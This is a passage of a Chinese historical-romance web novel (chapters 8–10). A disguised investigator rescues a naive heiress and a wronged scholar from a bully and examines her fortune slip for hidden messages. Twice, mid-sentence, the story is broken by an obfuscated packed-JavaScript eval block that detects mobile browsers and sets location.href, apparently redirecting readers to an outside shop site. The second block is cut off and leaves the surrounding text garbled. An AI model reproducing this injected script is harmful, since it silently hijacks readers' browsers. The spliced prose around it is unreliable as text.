眼前的姑娘生得雪肤花貌,着一身碧色罗裙,裙摆的花纹都是用金线织就,他认不出头上发簪的款式,只看到鲜艳的大颗宝石并繁复的镂雕工艺制成了一只金色的蝴蝶,在她的发间振翅欲飞。 那群人扭头一看,估摸着是哪家千金大小姐外出游玩来了,当真停下手来。 领头的人也瞧见了梨瓷,胆大地调笑道:“呦,哪里来的小娘子,长得倒是挺不错,怎么,你家里人没教过你不要多管闲事?” 朱修金虽然狂,倒也没傻到底,造次之前,还记得要问问门第,他的手下也像是给他助威一般,继续对程立雪拳打脚踢起来。 梨瓷义正辞严道:“不管我从哪里来,打人都是不对的,你们放开他。” 见小姑娘说不出门第,朱修金便更放心了,他大言不惭道:“本公子乃是淮安府尹之子,南京守备冯大人的亲侄儿,想打人便打了,就算上了衙门,也能奈我何?” “不过嘛,”他转头看着梨瓷,露出一个不怀好意的笑,“你若是能陪本公子高兴高兴,让本公子忘了今日的不快,放了他也不是不可以。” 梨瓷听不懂这些粗鄙之语,但她本能地不喜欢这个人,一点儿也不想跟他牵扯,摇摇头后退了一步。 程立雪忍着剧痛,扬声道:“朱修金!你有本事就打死我,别把无关的人扯进来。” “哈,那又如何?没本公子的同意,你俩今天一个都走不了,”朱修金大笑着往前跨了一步,“小娘子躲什么呀?” 他正要抬手去摸那张雪白的脸,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14554744|155400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然被人擒住了小臂,力道之大,他立刻痛呼出声:“你你你你放手!” “让他们停手。” 一道有些熟悉的男声在巷子里响起。 - 濯影司的动作很快,不过半日功夫,北铭便已经带来了最新的情报向世子汇报。 “昨日广成伯府表小姐梨瓷带来的食盒之中的确是医治不服之症的合香散,无毒,书房中的吃食也没有异样。此外,濯影司已查明梨瓷身有宿疾,为了寻名医诊治,从山西来了应天。前些时日不在府里,便是去了城外积云山薛神医处养病,以往两年俱是如此,并无可疑之处。不过……她返家之前还顺路去了一趟净明寺,据说与寺中的梵贤大师说了两句话。” 南玄正在替世子整理文书,不过跟着听了一耳朵,立刻发现了其中的不对劲。 净明寺可不是什么山野小寺,开国时甚至得过太/祖皇帝亲赐碑文,如今在朝野中亦有一定的影响力,梵贤大师身为住持,怎会无缘无故与一个小姑娘闲话? 北铭继续道:“那位表小姐在净明寺捐了八万两香油钱,求了姻缘签,梵贤大师亲自替她解签,说是红鸾星动,好事将近。” 听到这个惊人的数额,南玄吓得倒抽了一口气。 谢枕川的表情也有些微妙,濯影司与刑部多有交集,这些年来,他阅过不少坑蒙拐骗的大案卷宗,便是在那些卷宗里,也没有像这样有钱又好骗的。 “将近,”他将这二字重复一遍,语气玩味,“可说了是什么时候?” 北铭点点头,将方才那句话补完:“梵贤大师说不是今年,便是明年了。” ……全都是些鸡毛蒜皮的废话。 谢枕川有些笑不出来了,“还有呢?” 暂时没有了,不过这也不影响北铭根据现有的情报做出合理的推测,“这位梨姑娘与净明寺有大量金钱往来,梵贤大师又与其有密文来往,的确可疑。” 谢枕川暂未发话,不过接触了两次,他已经发现梨瓷的行事作风与常人有异,又长了一副天真无邪的美丽外表,极易迷惑人心。 见主子一时无言,南玄忍不住小声问道:“金钱往来……那不是香油钱吗?” 北铭立刻驳回:“那可是八万两,你是信她傻还是我傻?” ……南玄觉得自己都有点想信,“那密文呢?” “自然是那封签文,”北铭越想越顺,又提起一桩事:“启禀大人,今日梨姑娘离府外出,我们的人在她院中搜了个遍,并未找到那封签文,最终确定她将那签文放在荷包里随身带着。听闻她去了集市,又派了探子前去接近,结果她不仅时时刻刻将那荷包紧攥在手里,还不知在其中置放了什么提醒的物件,稍一触碰便作响预警。若仅是一封普通签文,何必如此随身携带、小心提防?” 谢枕川沉吟片刻,终于道:“梨瓷毕竟是梨家大小姐,科举案不会与她牵扯过深,暂且将那封签文取来一观,不必做多余的事。” 北铭跪在地上认错,“属下无能。” 为了不耽误大事,他只能寄希望于世子,抬起头冒死道:“我们的人不敢打草惊蛇,暂且还没有得手,恐怕只有与她相熟的人才能近得了身。” 谢枕川凉凉道:“自去司务署领罚。” “是,大人,那密信……?” 谢枕川睨他一眼,勉强算是应了,“下不为例。” “是!” 城门失火,南玄也不敢幸灾乐祸,赶紧替世子挑选好了外出的衣物,服侍世子更衣。 - 有情报指引,谢枕川很快便找到了梨瓷的所在。 闹市人来人往,熙熙攘攘,她的身影却尤为好认,哪怕看不到那张蛊惑人心的脸和贵重繁复的衣饰,便是那一头被养护得比水丝重莲绫还要柔顺润泽的长发,便足够惹眼了。 街上的许多人都在悄悄地注视着这个好看的姑娘,谢枕川的目光反而是最无意的那一个,他遥遥跟在梨瓷身后,看着她孤身一人折进了一条小巷之中。 他快走了两步,正想看她是否要在此处与人接头,结果她胆大妄为地冲到了一群正在闹事的地痞无赖面前,无兵无卒,甚至手无寸铁,也妄想制止他们。 ……真是愚蠢的天真。 谢枕川懒懒垂眼,看着她腰间垂着的云蝠绣绡金绫如意荷包,此刻正随着她的动作轻微晃荡,发出好听的声响。 8. 启示 “让他们停手。” 梨瓷循声望去,居然是谢徵哥哥,他今日换了一身雪青色兼丝布圆领袍,明明只是寻常的棉布衣料,穿在他身上却显得温润如玉,丰神异彩。 谢枕川身高八尺有余,比那朱修金高出一个头,轻易便擒住了他,朱修金像个小鸡崽儿似的拼命挣扎,也不能挣脱分毫。 有了靠山,梨瓷立刻就得意起来,她也走上前,学着方才那些坏人的样子恶狠狠地踩了朱修金一脚。 只是她没经验,发力的时候就歪了,踩完差点没站稳,还是谢枕川又扶了她一把。 梨瓷拉着谢枕川的袖子,不好意思地躲在了他的身后。 “啊——疼疼疼——啊!” 方才那一脚歪打正着踩到朱修金的脚趾头,他立刻发出杀猪般的惨叫,“停手,快停手!” 见那群巴儿狗已经停手了,谢枕川也如约松手。 朱修金立刻踉跄了好几步,像踩在热锅里一样慌乱抬脚,他的手下赶紧来扶。 程立雪已经被打得起不来身,此刻勉强扶墙坐在地上,擦去了唇边血迹。 朱修金呲牙咧嘴地揉着自己的手臂,像恶狗一样盯着眼前这个坏他好事的人。 他上下打量一番谢枕川的衣饰,看出他不过是个比程立雪好不到哪儿去的穷酸书生,立刻恢复了底气,“狗拿耗子,多管闲事,你们是想一起挨打吗?” “不想,”谢枕川的表情十分平静,“我在来的路上看到了巡检司,你想把这件事闹大吗?” 朱修金不怕进衙门,自然也不怕巡检司,只是他最近已经得到父亲的提醒,说是前年之事已经上达天听了,虽然圣上暂未发落,也保不齐有人暗中在查,让他把尾巴夹紧点。 他犹豫了一会儿,最后还是选择夹紧尾巴,临走前还没忘放狠话:“今日便算你们走运,下次出门最好小心点,再让我遇到,就不是那么好过的了。我们走!” 一群人很快消失在巷子里。 意外来得快去得也快,梨瓷一点都没有被吓到,她手里还揪着谢枕川的袖子,无意识地晃了晃,“谢徵哥哥,你怎么来了?” “这话不该我问你么,出府怎么也不带个人?” 谢枕川的语气像是关心妹妹的兄长,却又不露痕迹地将这个问题抛了回去。 带了的,只是让她先去酒楼点菜了。 梨瓷没好意思说,装作没听到的样子,松开手里的袖摆,低头给他拂了拂自己揪出来的褶皱。 谢枕川微微蹙眉,“棉布本就易皱,别扯坏了。” 梨瓷连忙收回手,又指了指不远处躺在地上的书生,“谢徵哥哥,他怎么办,我们是不是该送他去医馆呀?” 谢枕川扫了一眼方才将自己衣袖拽得乱七八糟的细白手指,勉为其难道:“你别乱动,我来。” 他走过去,简要查看了此人的伤势,“运气不错,没有骨折和脏器损伤,起得来吗?” 程立雪抬头看了一眼梨瓷,正对上她好奇的眼神,他垂下眼,咬牙站起了来。 他稍稍整理了一番仪容,拱手行礼道:“多谢二位恩人,在下程立雪,不知二位恩人高姓大名?” “谢徵。” 谢枕川报上姓名,又回头看了一眼正在现学拱手礼、跃跃欲试的梨瓷。 他自问行踪没有走漏消息,今日出手也是一时兴起,便知道她只是一个空长了一张漂亮的脸、被人欺负也不知道躲的笨蛋了,多问两句,恐怕连身份姓名、身家财产都要给人套走。 谢枕川还了礼,替她答了句:“这是舍妹。” 程立雪也并未觉得惊讶,这位谢公子虽然衣着简朴,但举手投足之间气度非凡,不是寻常人家能教养出来的,何况两人都生了一副神仙般的容貌,站在一起也颇为相衬。 被点名的梨瓷只好匆匆跟着行了个福礼,她也没觉得谢枕川说的话有什么不妥,笑眯眯地点了点头。 程立雪再次行礼道:“多谢两位今日出手相助,在下结草衔环,今后定当相报。” 梨瓷还记得方才戏台子上的唱词,现学现卖道:“程公子不必客气,路见不平,行侠仗义,本就是应该的。” 谢枕川睨了这位泥菩萨一眼,差点自身都难保,还敢说行侠仗义呢? 程立雪也看出了谢徵的不满,以为这是他作为兄长的担忧,便苦笑道:“姑娘不是本地人吧?” “啊晓得啊?”梨瓷特意回了一句吴语,明亮的眼睛里透出一丝困惑和苦恼,“明明说的都是官话,是我的口音学得不够像吗?” 程立雪身上的伤还在隐隐作痛,仍然被她逗得有些想笑。 谢枕川一语破的,“是与方才那位淮安府尹朱言之子、南京守备冯睿才子侄有关?” 程立雪此刻还未恢复过来,并未留意到谢公子脱口便说出了那两位大员的名讳,只当是方才朱修金自报家门时让他听见了。 “谢兄慎言。”实在不想将这两个无辜的人也牵扯进来,程立雪赶忙提醒,又左右看了看,见四下无人,这才放下心来。 谢枕川微微一笑,“这名字起来不就是让人叫的么,何来慎言一说。” 他语气随意,对程立雪的观察却更细致了几分。 去年的科举弊案,与盐商行贿有着密不可分的关系,而两淮盐运使司下辖三十座盐场,淮安分司便辖有六座,所产盐大约占两淮总产量的四分之一。 他不过出门一趟,便就有不长眼的兔子撞上来了。 程立雪有些犹豫要不要将那些恩怨合盘托出,到底还是顾虑,他低下头,什么也没说。 “就是啊,”梨瓷看不懂其中的弯弯绕绕,径直问道:“他为什么打你呀?” 对上那双清澈而纯粹的眼睛,程立雪便无力再隐瞒下去了,他叹了口气,将前因后果细细道来。 “我自幼家境贫寒,但母亲远见,全力供我读书,寒窗苦读十年,书院里的校考皆是名列前茅,本以为会不负家人期望,最后却名落孙山,反倒是那朱修金,他是我在应天府官学的同窗,平日里欺男霸女,不学无术,连自己的名字都写不清楚,居然中了举人。” 谢枕川自是清楚其中猫腻的,只装作不知,不平道:“这世间竟有这样的事?” 程立雪苦笑道:“这样的事,远不止我这一件。谢公子瞧着也是读书人,应当听说过三年前的江南科举弊案,放榜那天,学子们的怨气差点没将江南贡院的匾额砸了,可背后之人权势通天,闹得那么大,最后也不过是罢免了几个考官而已。” 说着说着,程立雪咬紧了牙,口腔里弥漫的不光是铁锈的气息,还有面对困厄人生的苦涩。 “母亲重病,家里已经无力再供我上学,我便将家中栽种的桃子担来买卖,换得银钱去抓药,只是今天不巧遇到了朱修金,他笑我读书无用,还拿我家的桃子肆意践踏,我气不过,便与他争执了几句。接下来的事情……你们都看到了。总之,他家权势深厚,你们日后在应天行走,尽量避着些。” 这些话似乎已经用尽了他全部的力气,说完之后,程立雪便不再言语,只低头看地上的一片狼藉。 那都是他娘亲费尽心血种出来的桃子,原本以为可以在集市上卖个好价钱,最后却被人扔得满地都是,摔坏、踩烂,只勉强剩下几个还算完好,但是他已经没有力气再去捡了。 忽然,最远处的那个桃子被一只纤细白嫩的手提了起来,又被小心翼翼放进了筐里。 他抬头望去,正好看见一张明媚的笑脸。 听到程立雪被人欺辱的时候,梨瓷还是一脸义愤,恨不能有包公再世铡了这群坏人的狗头;可当他说到担卖桃子的时候,她的注意力立刻跳跃到地上的桃子上去了。 程公子家里种的桃子与苏嬷嬷送来的水蜜桃有些不一样,似乎是另一个品种,个头要小些,白绿里头透着粉红,格外活泼可爱。 她一边听,一边不由自主地朝最大最红的那个桃子走去,提溜着果柄放回竹筐里,见程立雪正看着自己,立刻下意识地拍拍手,示意自己什么也没有吃。 梨瓷心虚地笑了笑,指着地上那片桃子问道:“这些桃子都是你的吗,虽然坏了很多,但还是有好的。你身上有伤,我帮你捡起来吧。” 程立雪愣了愣,低声应道:“那便有劳姑娘了。” 梨瓷难得干一次活,竟然也觉得有趣,挑挑拣拣之下,竟给她捡了小半筐回来。她捡回最后一个小桃子,轻轻放回竹筐里的时候,手背不小心蹭到了桃子表面的细小绒毛,立刻留下一片红痕。 “哎呀。” 梨瓷疼得轻呼出声,她平日里吃的蜜桃都没有这些绒毛,更不知道碰到了会这样又疼又痒。 程立雪也不知该如何是好,农家人都是皮糙肉厚的,哪里见过这样的情况。 梨瓷委委屈屈地抬起手,将那一片红痕展示给谢枕川看,虽然一个字都没说,但眼睛里已经有亮晶晶的东西在闪烁了。 …… 谢枕川自己年幼时练习骑术,不慎从马背跌落,在床上躺了半月,也不过从父母那里得到一句“忍忍就好了”的安慰。 “忍一忍——”他正准备将这句话转赠给梨瓷,就看到她眼中的水光在迅速地凝结,眼尾已经泛起了湿漉漉的红。 谢枕川把“就好了”那三个字咽下,转身去最近的店家买了一碗凉茶,递给了梨瓷。 土陶的茶钵,上面还有粗糙的裂口,明褐色的茶汤里零星飘着一点茶渣,是比高末还要低一等的碎茶叶末。 不过这些廉价的象征,在被她的手接过以后,通通消失了。 她的手很美,手指细白纤长,指甲边缘被精心修剪出圆润的弧形,没有涂丹蔻,是一种极为剔透的粉色,每一寸肌肤都像是被细细打磨过的羊脂玉,白皙 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他率先起身,见梨瓷还稀里糊涂的,干脆将茶碗也塞到她的手里,“去还给店家吧。” 梨瓷今日穿了一条天水碧绣青鸟的浮光锦罗裙,金线绣的青鸟振翅飞于云海之中,在阳光下会闪烁微光,与天水碧的底色交相辉映,她也很喜欢。 听了谢枕川的解释,她立刻就开开心心地端着碗去寻那个店家,行走时裙摆仿佛水面漾起微微波光。 见此情景,程立雪由衷夸赞道:“谢公子真是心细之人。” “不敢当,”谢枕川坦然自若,“你若是有这么个麻烦的妹妹,定然也很细心。” 程立雪一点儿也没有察觉到他的不耐,反倒流露出一丝羡慕之色,“你们兄妹俩的感情一定很好吧。” “舍妹不谙世事,让程公子见笑了,”对于自己和梨瓷的“兄妹感情”,谢枕川置之不论,话锋一转道:“程公子的遭遇实在令人惋惜,在下方才想了想,兴许还有转圜的余地。不知你可听说过城南小椽山的廉泉书院?” - “小姐,小姐!” 绣春在春光楼等候许久,自家小姐仍然迟迟未到,心中着急,又折返回来寻人了。 她远远地望见自家小姐站在一处摊铺面前,立刻紧张起来,看清楚卖的是大碗茶之后,才稍微松了口气。 就这么一会儿功夫,她便瞧见小姐已经在茶摊坐下了,卖茶的老大娘给她沏了一碗崭新的茶,里面的芽叶都是完整的,在这样的茶摊儿上已经算得上上等了。 小姐不会是没带钱结不了账才走不了的吧? 她赶紧冲过去问道:“大娘,这碗茶多少钱?” 老大娘摆摆手,絮絮叨叨道:“哪里能要姑娘的钱,多亏有你们帮忙,小程才免受那恶人的欺负。” “唉,这孩子命苦啊,他也算是我们看着长大的了,自幼丧父,全靠为娘的种桃子缝补衣裳把他拉扯大,一直都是个懂事听话的孩子,平日里还会帮人写信补贴家用。先生都说他读书读得蛮好的,他娘亲还盼着他考中之后,给他娶个好媳妇儿呢,可惜啊,怎么就没考上呢?” 绣春听得一脸茫然,“小姐,小程是谁啊?” 梨瓷指给她看,又有些不解地问那大娘:“没考上就不能娶媳妇儿吗?” “那倒也不是,只是嘛,唉,本来这孩子长得斯斯文文的,学问又好,之前想要和他家说亲的媒婆可不少,只是小程自己说要用心读书全都拒绝了,可他现在又没考中,又得罪了大人物,哪里还有人敢和他家结亲呢?” 梨瓷也听得有些唏嘘,茶也没喝,吩咐绣春留了银子在桌上。 她走了没两步,忽然受到了启发,悄声问道:“绣春,像是这种无人敢与之结亲的公子,是不是只能入赘了呀?” “咳咳咳……应该还是要看本人意愿吧。”绣春没喝水也呛住了,不过跟着小姐这么久了,很快就明白了她的意思。 她指了指方才梨瓷给她指过的方向,“小姐,照您之前说的那些条件,咱们眼前不就有一位吗?” “你是说程公子?”梨瓷脸上露出为难的神色,“好像也是,不过这才第一次见面,容我再考虑考虑。” 绣春恨铁不成钢地看着自家小姐,又重新指了一遍。 那程公子原本也算是清雅秀俊,不过站在谢公子面前,便如萤火之光,不能与皓月争辉了。怎么也得谢公子那样的如玉郎君,才能衬得上自家小姐的花容月貌嘛。 梨瓷下意识地望过去,谢枕川似乎正在与程立雪说着什么。 这个角度只看得到他的半张侧脸,日光映出他挺秀的眉骨与鼻梁,又奋不顾身地落进他的眼眸,柔和了那双凤眼里的凌冽,跃成一抹清润的流光碎金。 谢枕川似有所感,朝这里看了一眼,与程立雪告辞后,大步流星走了过来。 9. 人选 不知为什么,梨瓷又有了那天晚上干坏事被当场抓住的感觉,赶紧把绣春还未完全放下的手拍掉拍掉。 看着谢枕川在她面前站定,她眨巴眨巴眼睛,不自觉把手背到身后,“谢徵哥哥,怎么了?” “给,你方才捡回来的毛桃。” 虽是赠礼,他语气仍然平淡,径直将手里的东西递了过来。 梨瓷这才发现他不知道在哪里弄来了一个竹编提篮,大小正合适装下她刚刚捡回来的桃子,提手上还细心地缠了一圈花布,一点儿也不扎手。 她一脸惊喜,正要道谢,又眼尖地看到他衣裳袖口与手肘处些许粗粝的磨毛痕迹,顿时不好意思起来。 梨瓷很少有花钱的概念,这次却忍不住小声问道:“花了多少钱呀?” 谢枕川并不觉得梨家的千金大小姐会在意这点小钱,只当她是试探。 他勾了勾唇角,应答如流,“照市价买的,八文钱一斤,不到三十文。” 梨瓷的生活里,要用到“文”和“斤”这两个单位的机会着实不多,她懵懵懂懂地点了点头,道谢倒是真心实意的,“谢谢谢徵哥哥。” 谢枕川“嗯”了一声,装作不经意地问道:“程公子笃实好学,我想引荐他去参加廉泉书院的入学考试,你觉得如何?” 梨瓷果然流露出犹疑,只是说的话再次出乎了谢枕川的意料。 “我也不知道种桃和读书比哪个更好,程公子好像不喜欢种桃子,但他那样刚直的人,好像也不适合官场。” 谢枕川的眼神变得有些奇怪,这世上能将种桃子与读书相比的恐怕也只有她了,不知该说她大智若愚还是大愚若智。 “那照阿瓷说,什么样的人适合官场?” 梨瓷大方地和他分享爹爹的心得体会,“我爹说,就是要那种表面和善、笑里藏刀、言行不一的,这样的人虽然阴险,但是能力出众,又擅长伪装和操控别人,不择手段达到自己的目的,而有的人被他卖了没准儿还在帮着数钱呢。” 她一边说,一边仔细叮嘱,“谢徵哥哥你的学问好,日后若是入朝为官,一定要离这种人远些。” 谢枕川皮笑肉不笑地应了一声,“好”。 不等梨瓷再次说话,他转头道:“我还要去西市买墨锭,就不同你们一路了,早些回府吧。” 梨瓷也打着自己的小算盘,她还要去春光楼用饭呢,有绣春监督着,吃饭的时候肯定要忌口,若是谢徵哥哥知道了自己的病,以后就没办法去他那里蹭好吃的的了。 她赶忙应道:“好!” - 春光楼距此地不远,不多时,主仆两人就进了楼里最好的包间,餐食已经在绣春的监督下预备好了,只是端上来的菜色乏善可陈。 梨瓷将那张酥蜜饼翻来覆去地翻,也没找着里面的蜜,最后只好端着一碗银耳莲子羹,珍惜地吃掉了里面的枣儿。 绣春又将毛桃送去厨房,洗净去皮切成薄片,再重新端给小姐。 青白色的桃子片,咬起来脆脆的,酸酸甜甜,也算是别有风味。 绣春见小姐吃得还算开心,忍不住问道:“小姐还没说呢,您觉得谢公子如何?” 梨瓷一口咬断薄薄的桃子片,像是要斩断自己脑子里的邪念一样连连摇头,“不行不行,怎么能是谢徵哥哥呢?” 绣春比照自家小姐的要求,逐条分析道:“谢公子也算是老爷夫人看着长大的,论德才,那是有目共睹;论家世,如今也败落了;论顺眼,样貌好得远不止是顺眼;论得罪人嘛,谢公子早在陈郡便得罪了本家,一来应天又得罪了地头蛇,岂不是比那程公子更有魄力?” 这话听着虽然怪头怪脑的,但是还怪有道理。 梨瓷试图反驳,“谢家虽然败落了,但是瘦死的骆驼比马大,怎么也算不上贫寒吧?” 绣春伏身过来与小姐耳语,“奴婢听说谢家现在穷得连马车都租不起,这一路还是坐驴车来的应天,就连赶路的路费和读书的束脩都是朝街坊四邻借的,勉强撑个体面罢了,怎么不算贫寒呢?” 梨瓷慢慢咀嚼口中那片酸甜的桃子,陷入沉思。 大概是谢徵哥哥的那张脸生得太好,又或者是他穷得坦坦荡荡,就算是瞧着衣袖已经露出了磨损的痕迹,只买得起八文钱一斤的毛桃,她仍能从中感受到一种“贵气”,难以与入赘一事联系起来。 她正要伸手去舀银耳莲子羹时,脑海里又涌现出昨夜谢徵哥哥为自己盛了一碗碧涧羹的情景,还有自己在他那里吃过的芋头酥、绿豆糕和雨润糕…… 梨瓷不禁有些意动,踌躇道:“可我若是招谢徵哥哥入赘,会不会把谢爷爷气死啊?” “怎么会呢,谢老爷一向最喜欢您了,而且谢家这又是得罪人又没钱的,两家若是结亲,他家的日子也能好过些不是吗?” “那日咱们去净明寺,您刚抽了上上签,回来就遇到谢公子了,这就是有缘千里来相会啊。” 有道理,这一定是菩萨给自己的指引。 梨瓷立刻拍板:“好,就是他了!” 虽然已经定好了人选,但是候选人的意愿如何,还尚未可知。 梨瓷忍不住伸手去掏荷包里的签文,希望菩萨能够再给自己一点启示。 她的荷包里没有钱,鼓鼓囊囊地装了不少她刚刚在集市上淘来的小玩意儿,只是摸了半天仍然不见签文。 这可不是什么好兆头,梨瓷不免有些着急起来,“怎么回事呢,怎么会不见了?该不会在集市上被人偷了吧?” 绣春安慰她,“不会的,您的荷包里又没有钱,谁闲得无聊偷这个呀,再仔细找找,兴许就找着了呢。” 梨瓷干脆一股脑儿地把荷包里的东西全都倒在桌上,最先滚出来的是一只竹编的蜻蜓、然后是彩布缝的小老虎、贝壳做的香盒、圆乎乎的陶响球……最后才飘飘荡荡地落下来一张纸。 她将这张纸打开来看,整张脸立刻就皱成了一团。 这里边不是签文,是泠表姐昨日写给她的字条,提醒她需在三日之内完成一篇策论文章,若是写得好,岑夫子会带她们外出讲学。 绣春看出小姐的心情不太好,忙问怎么了。 上上签丢了就已经很不高兴了,又多了一篇课业要写,这谁高兴得起来呢? 梨瓷将纸条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过她很快想出了更好的主意,“对了!我可以请谢徵哥哥教教我,他那么聪明,肯定想得出来的。” 绣春的大拇指翘得和她的嘴角一样高,连连夸奖道:“高啊,让谢公子自己说服自己,小姐您才是真正的聪明!” 梨瓷被她夸得不好意思起来,不禁开始反思自己这样空手套白狼的行为是不是有些过分了,她想了想,“既然是要请人帮忙,也不好空着手上门,我今日见谢徵哥哥的衣裳都有些旧了,绣春你去挑几匹布,再让小厨房做一道玉润糕,顺便也请谢徵哥哥指点指点吧。” “厨娘今日正好在研究小姐上次给的方子,糕点是现成的,只是这布料……绣娘才为您缝制过夏裳,也不知咱们的私库里能不能挑得出来合适的,要不奴婢派人外出去采买些适合男子的布匹回来?” “不行不行,明天就要交课业了,”梨瓷不想等那么久,自告奋勇道:“不必那么麻烦,我记得库房里还有好多好看的衣料没裁呢,我与你一同去选。” 10. 试探 等谢枕川从集市回到方泽院时,手中除了一块十五文钱的松烟墨,还多了一张签文。 他在回来的路上已经看过了,沾着香火气息的纸张上用平平无奇的楷书写了一行字:“明珠令容有淑质,归逢佳偶贵满堂。” 就是民间常见的金玉良缘签词。 进了书房,他便把签文交给了北铭,自己则取了那块松烟墨准备作画。 北铭已经提前备好了查看密文的一应物件,志在必得地开始研究起来。 南玄也不愿闲着,连忙道:“世子,奴才来替你研墨吧。” 谢枕川铺开一张再普通不过的竹纸,吩咐道:“这松烟墨墨质松散,研墨的时候用力均匀些。” 南玄一边费劲地磨墨,一边道:“世子,这松烟墨质轻无光,您装装样子用来写写字就成了,怎么还用来画画了呢?” 谢枕川执笔熟视眼前画纸,在心中谋篇布局完毕,这才道:“难得那买墨的书斋收画,我这样的贫困学子,有几分微末画技在身,自然该卖一两幅画来补贴家用。” 以谢枕川的画技,用微末来形容,实在是有些妄自菲薄了。 南玄笑呵呵地拍马屁,“那岂不是便宜这些人了,您的画作在京都的拍卖会上,可是卖出过三千两的高价呢。” 谢枕川先用一支狼毫蘸了些墨,悬笔在纸上勾勒出山石大势,又皴出深浅不一的纹理线条,漫不经心道:“是啊,他们还能花五千两买王阁老的墨宝,张尚书的古董,李侍郎的茶叶。” 南玄不敢说话了,他可是清楚地记得,这几位大人的案子都是自家世子亲自办的,如今坟头草都不知几尺高了。 谢枕川振笔直遂画完了山石,暂且将笔搁下,他望着正在紧张激烈地与那张签文作斗争的北铭,轻笑问道:“如何?” 北铭的额头上不自觉冒出豆大的汗珠,他已经试过了好几种办法,但无论是用火烤、用光照、用显影粉描,或是逐字推敲,都没有在这张薄薄的纸上发现任何异常。 痛失脸面和三个月俸禄的北铭不得不面对这个现实,“启禀大人,暂未发现异常。可那位表小姐分明是蓄意接近世子——” 谢枕川重新蘸了水,又在笔尖蘸了浓墨,信手在山石上添了一棵老树,悠悠道:“上届科考有个举子,叫做朱修金,是淮安府尹之子,南京守备冯大人的子侄,从此处入手查吧,至于梨瓷……” 若是未有今日程立雪之事,他多半会觉得梨瓷此人心机深沉,还故作天真引他入局;不过现在看来,她就算身在局中,也就是一道废物小点心,最多用来分散他的注意力罢了。 “罢了,以她的能力,最多也不过是用来掩人耳目的障眼法,若是太过在意反而中计。” “是。” 南玄又多嘴问了一句:“若是梨姑娘再来方泽院,世子是见还是不见?” 谢枕川行笔在小枝上落下大小不一、有疏有密的树叶,直到将墨水画枯,才道:“无妨,兵来将挡,水来土掩便是。” 他话音未落,书房外已传来仆从通禀,“谢公子,梨姑娘前来拜访。” 谢枕川看着眼前画到一半的画作,语气有些不耐,“这次又是什么事?” 仆从还未答话,像梨汁儿一样玉润清甜的声音已经由远及近地在门外响起,“谢徵哥哥,我给你带了礼物!” …… 谢枕川只好示意二人将签文藏好,带着火盆从偏门离开,自己则放下笔,亲自去开门。 “不必客气——” 客套的话在谢枕川看见梨瓷手中那一匹藕荷色织锦缎之后戛然而止。 梨瓷浑然未觉他的不悦,为了表示自己的诚意,她拒绝了绣春的帮忙,自己费劲地提着一盒糕点、抱着一匹布往书房里挤,“谢徵哥哥,你让让我呀。” 谢枕川冷着脸接过她手里又长又重的一匹布,实在不知她又要折腾什么新花样。 梨瓷兀自道:“诗经有云,‘投我以桃李,报之以琼瑶’,谢徵哥哥今日送了桃子给我,自然应当回礼的。” 她放下手中食盒,将谢枕川手中的布匹扯出一尺来,将那织锦缎上面绣的菱花团窼对兽纹展示给他看,“这是我特意挑的,你看,纹样上的这对立狮是不是威风凛凛?” 是,特别是绣在藕荷色的织锦缎上,连狮鬃都透着粉嫩。 谢枕川偏着头,连眼睛都懒得抬。 梨瓷看出他的勉强,又掰着指头数道:“谢徵哥哥若是不喜欢的话,我那里还有丁香色绣唐草纹的织金妆花绢、朱瑾色绣凤鹤樗蒲纹的彩霞缎、杨妃色珍珠纱……” 她越说越舍不得,方才在库房里看到这几匹闲置的布,她又即兴想用那丁香色织金妆花绢来制一条凤尾裙,朱瑾色的彩霞缎用来制襦裙,杨妃色珍珠纱做窄袖长褙子,只有这匹藕荷色绣菱花团窼对兽纹的织锦缎她不感兴趣,就被送到了这里。 拿这样的颜色材质的布匹送给男子,一看便知是临时起意拿来凑数的。 谢枕川听得头疼,已经懒得客套了。 他随手将价值千金的锦绣搁下,“就这个,别折腾了。” 梨瓷松口气,赶紧点点头,又道:“我还让厨娘根据上次谢徵哥哥给的方子做了一道玉润糕,要不要尝尝看?” 看她送礼的路数,便知道这小骗子只会说漂亮话,才舍不得拿出自己喜欢的好东西,这玉润糕多半也好吃不到哪里去。 谢枕川扯了扯唇角,假笑推辞道:“你不是喜欢么,自己留着吃便是。” 梨瓷本来也是想吃的,但厨娘把那玉润糕端出来的时候,她看颜色和样子都和上次自己吃过的大相径庭,尝都没尝就直接带过来了。 为了掩饰自己的心虚,她弯弯眼睛,语气格外乖巧,“我想和谢徵哥哥一起吃。” 公主府的厨子做出来的玉润糕,绵软细腻,色如碧玉,因此而得名,而眼前的这块却坚硬黏腻,灰不溜秋。 不过一眼,谢枕川已经看出这个糕点不好吃了,他勉强尝了一口,沉吟片刻,中肯道:“不像是玉润糕,像是花生芝麻酥糖。” 酥糖,那就是好吃的意思! 见谢枕川已经试过了,梨瓷也拿起一块塞进嘴里,小脸立刻就皱成了带褶的包子,“呸呸呸,怎么还甜得发苦呀。” 见她上当,谢枕川颇有些辛苦地忍笑,他将手中糕点放下,倒来两杯清茶漱口。 等茶香压过了这糕点甜腻的味道,他才开口道:“这芝麻炒制时未用酥油,便易过火而发苦,且不及酥油香甜,至于这颜色嘛,应当是未放末茶,故而发灰。” 梨瓷喝了茶水,仍然想不明白,“酥油和末茶的确是我忘了,可是我明明说了要多些石蜜,怎么还会发苦呢?” “食物的味道并不是要下猛料,而是食材相辅激发而成,恰到好处的甜味才是最难得的。” 梨瓷有些犯难,问:“怎么才能恰到好处呢?” 谢枕川看她一眼,语气难得有些怜悯,“可能是天 